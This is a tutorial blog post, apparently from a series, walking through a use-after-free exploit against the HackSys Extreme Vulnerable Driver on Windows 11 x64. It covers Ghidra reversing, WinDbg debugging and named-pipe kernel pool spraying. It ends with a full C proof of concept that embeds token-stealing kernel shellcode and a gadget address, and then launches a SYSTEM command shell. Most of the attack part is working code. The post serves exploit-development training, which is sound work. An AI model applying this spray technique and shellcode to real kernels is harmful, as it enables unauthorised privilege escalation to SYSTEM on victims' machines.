Having exploited the UaF in Windows 7 (x86) we have obtained a solid idea of how this vulnerability works, it’s time to attempt exploitation on Windows 11 (x64).

It’s important to note, although we confirmed that Violet Phosphorus works against Windows 11 24H2, for the remainder of the series I will be using Windows 11 (x64) - 10.0.22000 N/A Build 22000, simply due this being the Windows version the rest of the exploits were tested on.

You’re more than welcome to adapt any of these tutorials to the latest version of Windows however as previously stated you will need to adapt to additional security controls introduced in the latest OS.

Table of Contents

Reverse Engineering

We already know a lot about this vulnerability since we previously exploited it in Windows 7 (x86), however there’s a few key things we need to obtain before being able to continue. Since we previously used the source code, we’ll now change our focus on using Ghidra. At a high-level to craft our exploit we’re going to need the following information:

  • The size of the object (to leverage the UaF)
  • IOCTL Codes

This information can be obtained easily since we know where to look. The object size on x64 has changed from 0x58 bytes to 0x60 bytes as shown below.

alt text

Next we can get the IOCTL codes from IrpDeviceIoCtlHandler(), the ones that matter to us are the following:

Function IOCTL Code
AllocateUaFObjectNonPagedPoolIoctlHandler 0x222013
UseUaFObjectNonPagedPoolIoctlHandler 0x222017
FreeUaFObjectNonPagedPoolIoctlHandler 0x22201b
AllocateFakeObjectNonPagedPoolIoctlHandler 0x22201f

With that we have everything we need to craft a PoC.

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

#include <windows.h>
#include <psapi.h>

// IOCTL Codes
#define ALLOCATE_REAL_OBJ 0x222013
#define CALL_FUNC_PTR     0x222017
#define FREE_OBJ          0x22201b
#define ALLOCATE_FAKE_OBJ 0x22201f

// Allocated object size
#define OBJ_SIZE 0x60

void sendIoctl(HANDLE hHEVD, DWORD dIoctl, CHAR *pBuffer, DWORD dBuffer)
{
  DWORD bytesReturned = 0;

  DeviceIoControl(hHEVD,
                  dIoctl,
                  pBuffer,
                  dBuffer,
                  NULL,
                  0x00,
                  &bytesReturned,
                  NULL);

  return;
}

char *allocate_buffer()
{
  char *buffer = malloc(OBJ_SIZE);
  if (buffer != NULL)
  {
    memset(buffer, 0x41, OBJ_SIZE);
  }

  return buffer;
}

int main()
{
  HANDLE hHEVD = NULL;
  char *evilBuffer = NULL;

  hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
                      (GENERIC_READ | GENERIC_WRITE),
                      0x00,
                      NULL,
                      OPEN_EXISTING,
                      FILE_ATTRIBUTE_NORMAL,
                      NULL);

  if (hHEVD == INVALID_HANDLE_VALUE)
  {
    printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
    return -1;
  }

  evilBuffer = allocate_buffer();
  if (evilBuffer == NULL)
  {
    printf("[*] Failed to allocate evil buffer for fake object\n");
    return -1;
  }

  printf("[*] Allocating structure\n");
  sendIoctl(hHEVD, ALLOCATE_REAL_OBJ, NULL, 0);

  printf("[*] Freeing structure\n");
  sendIoctl(hHEVD, FREE_OBJ, NULL, 0);

  printf("[*] Allocating new object of size 0x%x\n", OBJ_SIZE);
  sendIoctl(hHEVD, ALLOCATE_FAKE_OBJ, evilBuffer, OBJ_SIZE);

  printf("[*] Triggering UAF\n");
  sendIoctl(hHEVD, CALL_FUNC_PTR, NULL, 0);
}

However, once sent, we don’t get control over the function pointer. What went wrong?

Taking a Step Back

I decided to set breakpoints on the following locations:

  1. Allocation of the structure
  2. Freeing of said structure
  3. Allocation of the fake object
  4. Triggering of the UAF

Below are the breakpoints I used:

bu HEVD+0x87a8a # Instruction after calling ExAllocatePoolWithTag(global_struct)
bu HEVD+0x87c20 # Instruction after calling ExFreePoolWithTag(global_struct)
bu HEVD+0x87912 # Instruction after calling ExAllocatePoolWithTag(global_struct)
bu HEVD+0x87cf2 # CALL RCX (function pointer within the global_struct)

While setting these breakpoints, I noticed something very important… Our newly allocated object or rather fake object IS NOT 0x60 bytes instead it’s the original 0x58 bytes.

alt text

This means we’ll need to find a new way to allocate a new object of equal size…

Kernel Heap Fengshui (Alex Ionescu)

At this point I was completely stuck on what to do next…

  • What techniques exist to achieve a NonPaged allocation?
  • Can this be done from Userland?

I started to google if anyone else had solved this and came across VulnDevs writeups and they referenced a blog post by Alex Ionescu describing a technique to do just that, so I decided to read up and try to understand the art of Heap Fengshui.

Pools

Anytime you hear the word “pool” in reference to the Windows Kernel, understand that these are simply structures used for Windows Kernel Heap management.

We’re going to be focusing on two allocators the regular and big/large pool allocator.

  • Regular: Used for any allocations that fit within a page, these allocations utilize space to hold a pool header and initial free block.
  • Big: Used for anything larger than a page and take up one or more pages. They’re also used when the CacheAligned type of pool memory is used, regardless of the allocation size. There’s no way to easily guarantee cache alignment without dedicating a whole page to an allocation.

Because there’s no room for a header in big allocations, these pages are tracked in a separate “Big Pool Tracking Table” (nt!PoolBigPageTable). Each entry in this table is represented by a POOL_TRACKER_BIG_PAGES structure.

struct _POOL_TRACKER_BIG_PAGES
{
    volatile ULONGLONG Va;                                                  //0x0
    ULONG Key;                                                              //0x8
    ULONG Pattern:8;                                                        //0xc
    ULONG PoolType:12;                                                      //0xc
    ULONG SlushSize:12;                                                     //0xc
    ULONGLONG NumberOfBytes;                                                //0x10
    struct _EPROCESS* ProcessBilled;                                        //0x18
};

One thing to be aware of is that the Virtual Address (VA) is OR’ed to indicate if free or in use. At most there will be one allocation. Alex Ionescu provides a WinDbg script to dump all big pool allocations and some driver code however I couldn’t get it to work.

For now, I decided to move on and return to this at a later date once I start writing my own kernel drivers.

Using Chlorine for Pool Control

Ultimately our goal is to find a user-mode API that will give us full control over the kernel-mode data of a kernel object and create a big pool allocation.

Below are two easy examples (according to the author xD):

  1. Creating a local socket, listening to it, connecting from another thread, accepting the connection, and then issuing a write of > 4KB of socket data, but not reading it. This will result in the Ancillary Function Driver (AFD.sys), allocating the socket data in kernel-mode memory. Because the Windows network stack functions at DISPATCH_LEVEL (IRQL 2), and paging is not available, AFD will use a nonpaged pool buffer for the allocation.
  2. Creating a named pipe, and issuing a write of >4KB of data, but not reading it. This will result in the Named Pipe File System (NPFS.SYS) allocating the pipe data in a nonpaged pool buffer as well (because NPFS performs buffer management at DISPATCH_LEVEL as well).

Between both of these options, option 2 is the easiest and requires less lines of code. The important thing we need to keep in mind is that NPFS will prefix our buffer with its own internal header, which is called a DATA_ENTRY. Each version of NPFS has a slightly different size.

/* The Entries that go into the Queue */
typedef struct _NP_DATA_QUEUE_ENTRY
{
    LIST_ENTRY QueueEntry;
    ULONG DataEntryType;
    PIRP Irp;
    ULONG QuotaInEntry;
    PSECURITY_CLIENT_CONTEXT ClientSecurityContext;
    ULONG DataSize;
} NP_DATA_QUEUE_ENTRY, *PNP_DATA_QUEUE_ENTRY;

The way to deal with this is to create the user-mode buffer with the right offsets. Finally, the key here is to have a buffer that’s at least the size of a page, so we can force the big pool allocator.

Back to VulnDev

I was still confused on what to do because the blog post from Alex seemed to use both a non-working WinDbg script and Kernel mode driver libraries (maybe I’m a n00b?). Likely things have also changed and that code is not directly compatible in our environment.

That said, what follows is seeing what VulnDev did and implementing it into our exploit. It appeared that VulnDev was able to accomplish allocating an object (any size >0x48) in the NonPagedPool.

The PoC can be seen below:

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

#include <windows.h>
#include <psapi.h>

// IOCTL Codes
#define ALLOCATE_REAL_OBJ 0x222013
#define CALL_FUNC_PTR     0x222017
#define FREE_OBJ          0x22201b
#define ALLOCATE_FAKE_OBJ 0x22201f

typedef struct PipeHandles {
  HANDLE read;
  HANDLE write;
} PipeHandles;

struct PipeHandles CreatePipeObject() {
  DWORD ALLOC_SIZE   = 0x70;
  BYTE uBuffer[0x28] = { 0 }; // ALLOC_SIZE - HEADER_SIZE (0x48)
  HANDLE readPipe    = NULL;
  HANDLE writePipe   = NULL;
  DWORD resultLength = 0;

  RtlFillMemory(uBuffer, 0x28, 0x41);
  if (!CreatePipe(&readPipe, &writePipe, NULL, sizeof(uBuffer))) {
    printf("[-] CreatePipe\n");
  }

  if (!WriteFile(writePipe, uBuffer, sizeof(uBuffer), &resultLength, NULL)) {
    printf("[-] WriteFile\n");
  }

  return (struct PipeHandles) {.read = readPipe, .write = writePipe};
}

void sendIoctl(HANDLE hHEVD, DWORD dIoctl, CHAR *pBuffer, DWORD dBuffer)
{
  DWORD bytesReturned = 0;

  DeviceIoControl(hHEVD,
                  dIoctl,
                  pBuffer,
                  dBuffer,
                  NULL,
                  0x00,
                  &bytesReturned,
                  NULL);

  return;
}

int main()
{
  HANDLE hHEVD = NULL;

  PipeHandles pipeHandle = CreatePipeObject();

  printf("[*] Handles: 0x%llx, 0x%llx", pipeHandle.read, pipeHandle.write);
  getchar();
  DebugBreak();

  hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
                      (GENERIC_READ | GENERIC_WRITE),
                      0x00,
                      NULL,
                      OPEN_EXISTING,
                      FILE_ATTRIBUTE_NORMAL,
                      NULL);

  if (hHEVD == INVALID_HANDLE_VALUE)
  {
    printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
    return -1;
  }

  printf("[*] Allocating structure\n");
  sendIoctl(hHEVD, ALLOCATE_REAL_OBJ, NULL, 0);

  printf("[*] Freeing structure\n");
  sendIoctl(hHEVD, FREE_OBJ, NULL, 0);

  return 0;
}

Once again, we’re using VulnDevs implementation. If we run this, the handles get printed out to STDOUT and we can inspect them using WinDbg.

alt text

In the output above we see that the object is in a NonPaged pool but its size is 0x190, what happened? Well as mentioned in the blog post, doing these operations created a DATA_ENTRY object. These objects are allocated using the tag “NpFr”. We can find it using !poolused. Like VulnDev when trying to find this using poolfind I had no luck…

alt text

However, this shows we have successfully allocated 112 bytes in the NonPaged pool. It all makes sense now… the equation is basically:

sizeof(uBuffer) + (sizeof(_NP_DATA_QUEUE_ENTRY) == 0x48) == ALLOC_SIZE

This is proven if we run the code again with proper modifications:

alt text

There’s another problem, I did not think about myself. Since the kernel has allocations occurring at all times, there’s no guarantee that our allocation will take the location of the free’d object.

A way to get around this is to create a bunch of holes, surrounded by allocations we control. This gives us a good chance to get our UAF condition. Once we’ve allocated and free’d the normal object, we can create a bunch of fake objects using AllocateFakeObjectNonPagedPool increasing our chances of taking the free’d allocations memory.

Basically, what we’re going to do is:

  1. Allocate a bunch of DATA_ENTRY objects (CreatePipe + WriteFile)
  2. Free every 2nd DATA_ENTRY object to create free allocation locations (holes)
  3. Allocate the USE_AFTER_FREE_NON_PAGED_POOL structure
  4. Free the USE_AFTER_FREE_NON_PAGED_POOL structure
  5. Try to reclaim the free’d memory (where the USE_AFTER_FREE_NON_PAGED_POOL structure once was)
  6. Trigger the UAF calling our fake object

To achieve this I used the following code:

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

#include <windows.h>
#include <psapi.h>

// IOCTL Codes
#define ALLOCATE_REAL_OBJ 0x222013
#define CALL_FUNC_PTR     0x222017
#define FREE_OBJ          0x22201b
#define ALLOCATE_FAKE_OBJ 0x22201f

typedef struct PipeHandles {
  HANDLE read;
  HANDLE write;
} PipeHandles;

struct PipeHandles CreatePipeObject() {
  BYTE uBuffer[0x18] = { 0 }; // sizeof(uBuffer) + (sizeof(_NP_DATA_QUEUE_ENTRY) == 0x48) == ALLOC_SIZE
  HANDLE readPipe    = NULL;
  HANDLE writePipe   = NULL;
  DWORD resultLength = 0;

  RtlFillMemory(uBuffer, 0x18, 0x41);
  if (!CreatePipe(&readPipe, &writePipe, NULL, sizeof(uBuffer))) {
    printf("[-] CreatePipe\n");
  }

  if (!WriteFile(writePipe, uBuffer, sizeof(uBuffer), &resultLength, NULL)) {
    printf("[-] WriteFile\n");
  }

  return (struct PipeHandles) {.read = readPipe, .write = writePipe};
}

void sendIoctl(HANDLE hHEVD, DWORD dIoctl, CHAR *pBuffer, DWORD dBuffer)
{
  DWORD bytesReturned = 0;

  DeviceIoControl(hHEVD,
                  dIoctl,
                  pBuffer,
                  dBuffer,
                  NULL,
                  0x00,
                  &bytesReturned,
                  NULL);

  return;
}

#define DEF_PIPES 20000
#define SEQ_PIPES 60000

int main()
{
  int i                                    = 0;
  HANDLE hHEVD                             = NULL;
  BYTE uBuffer[0x58]                       = {0};
  PipeHandles defragPipeHandles[DEF_PIPES] = {0};
  PipeHandles seqPipeHandles[SEQ_PIPES]    = {0};

  hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
                      (GENERIC_READ | GENERIC_WRITE),
                      0x00,
                      NULL,
                      OPEN_EXISTING,
                      FILE_ATTRIBUTE_NORMAL,
                      NULL);

  if (hHEVD == INVALID_HANDLE_VALUE)
  {
    printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
    return -1;
  }

  /* I found this intresting, we must allocate DATA_ENTRY objects like so otherwise
     we will fail to allocate any. We have to start with a low amount THEN allocate
     the sequential DATA_ENTRY objects. Although this is just 80000 allocations, we
     CANNOT just use one loop to hold all 80000 allocations. We must space it out */
  printf("[*] Spraying objects for pool defragmentation\n");
  for (i = 0; i < DEF_PIPES; i++)
    defragPipeHandles[i] = CreatePipeObject();
  for (i = 0; i < SEQ_PIPES; i++)
    seqPipeHandles[i] = CreatePipeObject();

  printf("[*] Creating holes to store object\n");
  for (i = 0; i < SEQ_PIPES; i++) {
    if (i % 2 == 0) {
      CloseHandle(seqPipeHandles[i].read);
      CloseHandle(seqPipeHandles[i].write);
    }
  }
  
  printf("[*] Allocating target structure\n");
  sendIoctl(hHEVD, ALLOCATE_REAL_OBJ, NULL, 0);

  printf("[*] Freeing target structure\n");
  sendIoctl(hHEVD, FREE_OBJ, NULL, 0);

  printf("[*] Filling holes with custom objects\n");
  *(uint64_t *)(uBuffer) = (uint64_t)(0x41414141);
  for (int i = 0; i < 30000; i++)
    sendIoctl(hHEVD, ALLOCATE_FAKE_OBJ, uBuffer, sizeof(uBuffer));

  printf("[*] Triggering UAF\n");
  sendIoctl(hHEVD, CALL_FUNC_PTR, NULL, 0);

  return 0;
}

Exploitation

So how can we get to our shellcode? We learned when trying to obtain code execution on Windows 10 one of the attack paths is to mark the Page Table Entry (PTE) as a Kernel page. However, since the allocation was made by the kernel and marked executable, the entry pointed to by RAX should be clear for execution!

alt text

Since we have 0x60 bytes of space this should be more than enough room for our token stealing payload + recovery code. The escape plan is as follows:

  1. Find a gadget to:
    • Increment RAX to point past the first 8 bytes in the NonPaged pool allocation
    • Jump to RAX
  2. Execute Shellcode
  3. Fix Stack

Below is a rough visual of what we’re trying to accomplish.

alt text

After a good amount of tug of war, we’re able to get a SYSTEM shell on Winderp 11.

Below is the final PoC:

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

#include <windows.h>
#include <psapi.h>

// IOCTL Codes
#define ALLOCATE_REAL_OBJ 0x222013
#define CALL_FUNC_PTR     0x222017
#define FREE_OBJ          0x22201b
#define ALLOCATE_FAKE_OBJ 0x22201f

// DATA_ENTRY Allocations
#define DEF_PIPES 20000
#define SEQ_PIPES 60000

/* CreatePipeObject():
     This function creates a pipe and returns the handles to the read and write ends of said pipe. However,
     what this does in the case of our exploit is create an allocation in the NonPaged pool. It's important
     to note each allocation is made by the Named Pipe File System (NPFS.sys). That said it will prepend an
     allocation with a DATA_ENTRY structure (or NP_DATA_QUEUE_ENTRY), on an x86_64 system this structure is 
     0x48 bytes. So each allocation must be greater than 0x48 bytes. Equation below:

       CreatePipe(HANDLE hR, HANDLE hW, NULL, nSize);
       NonPagedAllocation = nSize + sizeof(_NP_DATA_QUEUE_ENTRY)

     So in our case we're allocating 0x60 bytes in the NonPaged pool. This code was taken from VulnDevs
     blog located here:

       https://vulndev.io/2022/07/14/windows-kernel-exploitation-hevd-x64-use-after-free/

    The only difference is this was written in C vs C++ */
typedef struct PipeHandles {
  HANDLE read;
  HANDLE write;
} PipeHandles;

struct PipeHandles CreatePipeObject() {
  BYTE uBuffer[0x18] = { 0 };
  HANDLE readPipe    = NULL;
  HANDLE writePipe   = NULL;
  DWORD resultLength = 0;

  RtlFillMemory(uBuffer, 0x18, 0x41);
  if (!CreatePipe(&readPipe, &writePipe, NULL, sizeof(uBuffer))) {
    printf("[-] CreatePipe\n");
  }

  if (!WriteFile(writePipe, uBuffer, sizeof(uBuffer), &resultLength, NULL)) {
    printf("[-] WriteFile\n");
  }

  return (struct PipeHandles) {.read = readPipe, .write = writePipe};
}

/* SendIOCTL():
     Send the IOCTL code to the driver */
void SendIOCTL(HANDLE hHEVD, DWORD dIoctl, CHAR *pBuffer, DWORD dBuffer)
{
  DWORD bytesReturned = 0;

  DeviceIoControl(hHEVD,
                  dIoctl,
                  pBuffer,
                  dBuffer,
                  NULL,
                  0x00,
                  &bytesReturned,
                  NULL);

  return;
}

/* GetKernelBaseAddress():
     Using EnumDeviceDrivers() obtain the base address of ntoskrnl.exe */
uint64_t GetKernelBaseAddress()
{
  ULONG_PTR pKernelBaseAddress = 0;
  LPVOID *lpImageBase          = NULL;
  DWORD dwBytesNeeded          = 0;

  if (!EnumDeviceDrivers(NULL, 0, &dwBytesNeeded)) {
    printf("[-] Failed to calculate bytes needed for device driver entries");
    return -1;
  }

  if (!(lpImageBase = (LPVOID *)HeapAlloc(GetProcessHeap(), 0, dwBytesNeeded))) {
    printf("[-] Failed to allocate heap for lpImageBase\n");
    if (lpImageBase) {
      HeapFree(GetProcessHeap(), 0, lpImageBase);
    }
    return -1;
  }

  if (!EnumDeviceDrivers(lpImageBase, dwBytesNeeded, &dwBytesNeeded)) {
    printf("[-] EnumDeviceDrivers: %d", GetLastError());
    if (lpImageBase) {
      HeapFree(GetProcessHeap(), 0, lpImageBase);
    }
    return -1;
  }

  pKernelBaseAddress = ((ULONG_PTR *)lpImageBase)[0];
  HeapFree(GetProcessHeap(), 0, lpImageBase);

  printf("[*] Kernel Base Address: %llx\n", pKernelBaseAddress);

  return pKernelBaseAddress;
}

/* CheckWin():
     Simple function to check if we're running as SYSTEM */
int CheckWin(VOID)
{
  DWORD win = 0;
  DWORD dwLen = 0;
  CHAR *cUsername = NULL;

  GetUserNameA(NULL, &dwLen);

  if (dwLen > 0) {
    cUsername = (CHAR *)malloc(dwLen * sizeof(CHAR));
  } else {
    printf("[-] Failed to allocate buffer for username check\n");
    return -1;
  }

  GetUserNameA(cUsername, &dwLen);

  win = strcmp(cUsername, "SYSTEM");
  free(cUsername);

  return (win == 0) ? win : -1;
}

/* Exploit():
     NonPaged Pool UAF */
int Exploit(HANDLE hHEVD)
{
  PipeHandles defragPipeHandles[DEF_PIPES] = {0};
  PipeHandles seqPipeHandles[SEQ_PIPES]    = {0};
  int i                                    = 0;
  int64_t kernelBaseAddr                   = GetKernelBaseAddress();

  char cShellcode[0x58] =
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90" // FUNCTION POINTER
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90" // NOP SLED

  // sickle -p windows/x64/kernel_token_stealer -f c -m pinpoint
  "\x65\x48\xa1\x88\x01\x00\x00\x00\x00\x00\x00" // movabs rax, qword ptr gs:[0x188]
  "\x48\x8b\x80\xb8\x00\x00\x00"                 // mov rax, qword ptr [rax + 0xb8]
  "\x48\x89\xc1"                                 // mov rcx, rax
  "\xb2\x04"                                     // mov dl, 4
  "\x48\x8b\x80\x48\x04\x00\x00"                 // mov rax, qword ptr [rax + 0x448]
  "\x48\x2d\x48\x04\x00\x00"                     // sub rax, 0x448
  "\x38\x90\x40\x04\x00\x00"                     // cmp byte ptr [rax + 0x440], dl
  "\x75\xeb"                                     // jne 0x1017
  "\x48\x8b\x90\xb8\x04\x00\x00"                 // mov rdx, qword ptr [rax + 0x4b8]
  "\x48\x89\x91\xb8\x04\x00\x00"                 // mov qword ptr [rcx + 0x4b8], rdx

  // KERNEL RECOVERY
  "\x48\x31\xc0"                         // xor rax, rax 
  "\x48\x83\xc4\x48"                     // add rsp, 0x48 
  "\xc3";                                // ret 

  /* I found this intresting, we must allocate DATA_ENTRY objects like so otherwise
     we will fail to allocate any. We have to start with a low amount THEN allocate
     the sequential DATA_ENTRY objects. Although this is just 80000 allocations, we
     CANNOT just use one loop to hold all 80000 allocations. We must space it out */
  printf("[*] Spraying objects for pool defragmentation\n");
  for (i = 0; i < DEF_PIPES; i++)
    defragPipeHandles[i] = CreatePipeObject();
  for (i = 0; i < SEQ_PIPES; i++)
    seqPipeHandles[i] = CreatePipeObject();

  printf("[*] Creating holes to store object\n");
  for (i = 0; i < SEQ_PIPES; i++) {
    if (i % 2 == 0) {
      CloseHandle(seqPipeHandles[i].read);
      CloseHandle(seqPipeHandles[i].write);
    }
  }
  
  printf("[*] Allocating target structure\n");
  SendIOCTL(hHEVD, ALLOCATE_REAL_OBJ, NULL, 0);

  printf("[*] Freeing target structure\n");
  SendIOCTL(hHEVD, FREE_OBJ, NULL, 0);

  printf("[*] Filling holes with custom objects\n");
  *(uint64_t *)(cShellcode) = (uint64_t)(kernelBaseAddr + 0x40176b); /* add al, 0x10 ; call rax [nt] */
  for (int i = 0; i < 30000; i++)
    SendIOCTL(hHEVD, ALLOCATE_FAKE_OBJ, cShellcode, 0x58);

  printf("[*] Triggering UAF\n");
  SendIOCTL(hHEVD, CALL_FUNC_PTR, NULL, 0);

  return CheckWin();
}

int main()
{
  HANDLE hHEVD = NULL;

  hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
                      (GENERIC_READ | GENERIC_WRITE),
                      0x00,
                      NULL,
                      OPEN_EXISTING,
                      FILE_ATTRIBUTE_NORMAL,
                      NULL);

  if (hHEVD == INVALID_HANDLE_VALUE)
  {
    printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
    return -1;
  }

  if (Exploit(hHEVD) == 0) {
    printf("[*] Exploitation successful, enjoy your shell\n\n");
    system("cmd.exe");
  } else {
    printf("[-] Exploitation failed, run again\n");
    return -1;
  }

  return 0;
}

Once compiled (x86_64-w64-mingw32-gcc poc.c -o poc.exe), we get our shell :)

alt text

Sources

https://media.blackhat.com/bh-dc-11/Mandt/BlackHat_DC_2011_Mandt_kernelpool-wp.pdf
https://vulndev.io/2022/07/14/windows-kernel-exploitation-hevd-x64-use-after-free/
https://web.archive.org/web/20230602115237/https://www.alex-ionescu.com/kernel-heap-spraying-like-its-2015-swimming-in-the-big-kids-pool/
https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf
https://connormcgarr.github.io/swimming-in-the-kernel-pool-part-1/
https://www.vergiliusproject.com/